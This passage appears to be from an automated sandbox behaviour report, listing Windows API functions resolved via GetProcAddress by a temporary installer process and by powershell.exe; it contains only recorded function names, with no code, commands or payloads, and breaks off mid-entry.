"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeColor (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeMetric (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeString (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeInt (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeEnumValue (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemePosition (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeFont (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeRect (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeIntList (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemePropertyOrigin (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SetWindowTheme (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeFilename (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeSysColor (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeSysColorBrush (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeSysBool (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeSysSize (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeSysFont (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeSysString (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeSysInt (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter IsThemeActive (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetWindowTheme (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter IsThemeDialogTextureEnabled (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SetThemeAppProperties (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetCurrentThemeName (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeDocumentationProperty (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter EnableTheming (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter NotifyWinEvent (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SHPathPrepareForWriteW (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SHCreateItemFromParsingName (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter TaskDialogIndirect (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetSystemWow64DirectoryA (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter RegDeleteKeyExA (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetMachineTypeAttributes (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter IsWow64GuestMachineSupported (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter DisableProcessWindowsGhosting (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter ShutdownBlockReasonDestroy (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter ShutdownBlockReasonCreate (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundExtent (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter ChangeWindowMessageFilterEx (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter MonitorFromRect (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetMonitorInfoA (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter DwmExtendFrameIntoClientArea (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter ImmAssociateContextEx (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetSystemWow64DirectoryW (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetProcessDpiAwareness (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter EnableNonClientDpiScaling (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetDpiForMonitor (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetWindowDpiAwarenessContext (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter AreDpiAwarenessContextsEqual (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SHAutoComplete (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetDiskFreeSpaceExW (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SfcIsFileProtected (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter WTSUnRegisterSessionNotification (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter BufferedPaintUnInit (UID: 00000000-00005220) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00007184) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00007184) "powershell.exe" called 